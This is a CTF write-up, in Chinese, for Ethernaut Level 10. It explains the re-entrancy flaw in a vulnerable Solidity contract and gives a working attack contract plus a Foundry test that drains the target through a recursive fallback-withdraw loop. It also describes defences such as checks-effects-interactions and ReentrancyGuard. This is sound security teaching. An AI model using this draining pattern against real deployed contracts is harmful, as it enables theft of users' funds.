# Ethernaut CTF Level 10 - Re-Entrancy ## 題目 這一關的目標是偷走合約的所有資產。 可能會有用的資訊 * 沒被信任的(untrusted)合約可以在你意料之外的地方執行程式碼 * fallback 方法 * 拋出(throw)/恢復(revert) 的通知 ```solidity= // SPDX-License-Identifier: MIT pragma solidity ^0.6.12; import 'openzeppelin-contracts-06/math/SafeMath.sol'; contract Reentrance { using SafeMath for uint256; mapping(address => uint) public balances; function donate(address _to) public payable { balances[_to] = balances[_to].add(msg.value); } function balanceOf(address _who) public view returns (uint balance) { return balances[_who]; } function withdraw(uint _amount) public { if(balances[msg.sender] >= _amount) { (bool result,) = msg.sender.call{value:_amount}(""); if(result) { _amount; } balances[msg.sender] -= _amount; } } receive() external payable {} } ``` <br> ## 分析 由於沒有check - effect - interaction所造成經典的ReEntrancy attack 在第21行中 `msg.sender.call` -> 當msg.sender並非是EOA Account,而是智能合約的時候 fallback 函數會被觸發 ``` 智能合約接收以太幣 │ ├── 無 msg.callData │ │ │ ├── receive() 存在 │ │ └── receive() 函數 │ │ │ └── receive() 不存在 │ └── fallback() 函數(如果存在) │ └── 有 msg.callData └── 調用 fallback() 函數(如果存在) ``` <br> 在fallback函數中,可以再度呼叫`Reentrance.withdraw()` 以此重新回來`msg.sender.call{value:_amount}` - (會再度呼叫攻擊合約的fallback,以此類推) 在Reentrance帳戶餘額乾枯之前無限提取 <br> ## 攻擊 攻擊思路為 - 先Deposit一筆小金額 - 以此通過withdraw的check ```solidity= if(balances[msg.sender] >= _amount) ``` - 接下來提取剛剛存入的金額 - 提取觸發`msg.sender.call`,同時`msg.sender`是個智能合約 - 攻擊合約fallback function再度呼叫`Reentrance.withdraw()` ```sol= // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IReentrancy { function donate(address _to) external payable; function withdraw(uint _amount) external; function balanceOf(address _who) external view returns (uint balance); } contract Attack { address payable orgContract; constructor(address payable _instanceAddr) payable { orgContract = _instanceAddr; } uint256 public balance; function setup() public payable { IReentrancy(orgContract).donate{value: 0.0001 ether}(address(this)); IReentrancy(orgContract).withdraw(0.0001 ether); } // Fallback function used to accept ether fallback() external payable { balance = IReentrancy(orgContract).balanceOf(address(this)); if (balance > 0 ){ IReentrancy(orgContract).withdraw(balance); } } } ``` <br> ## Foundry Test ```solidity= // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.6.12; import "forge-std/Test.sol"; import "forge-std/Vm.sol"; import "../src/levels/10-Reentrance/Reentrance.sol"; contract ContractTest is Test { Reentrance level10 = Reentrance(payable(0x5735a2A814220133159A96b50ADb9B3cc0fC7c00)); function setUp() public { Vm vm = Vm(address(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D)); vm.createSelectFork(vm.rpcUrl("sepolia")); vm.label(address(this), "Attacker"); vm.label( address(0x5735a2A814220133159A96b50ADb9B3cc0fC7c00), "Ethernaut10" ); } function testEthernaut10() public { // before attack uint256 balance_before = address(this).balance; // attack level10.donate{value: 0.001 ether}(address(this)); level10.withdraw(0.001 ether); // after attack uint256 balance_after = address(this).balance; assert(balance_after > balance_before); } fallback() external payable { level10.withdraw(0.001 ether); } } ``` <br> ## 補充 From Ethernaut 為了防止轉移資產時發生重入攻擊,使用 **Checks-Effects-Interactions** 模式 注意 call 只會回傳 false 而會不中斷執行。 也可以使用其它保護方案包含 ReentrancyGuard 或 PullPayment。 在 Istanbul 硬分叉之後,transfer 和 send 不再被推薦使用,因為它們可能會對合約造成潛在的風險 任何時候都要假設資產的接受方可能是另一個合約,而不是一個普通的地址(EOA)。因此,它有可能執行了它的 payable fallback 之後又「重新進入」你的合約,這可能會把你合約狀態、邏輯搞到爆炸。 重入攻擊是一種常見的攻擊。你得對相關攻擊做好準備! ### The DAO 駭入事件 著名的 The DAO 駭入事件使用了重入攻擊,從受害合約中竊取了大量的 ether。參見 15 lines of code that could have prevented TheDAO Hack。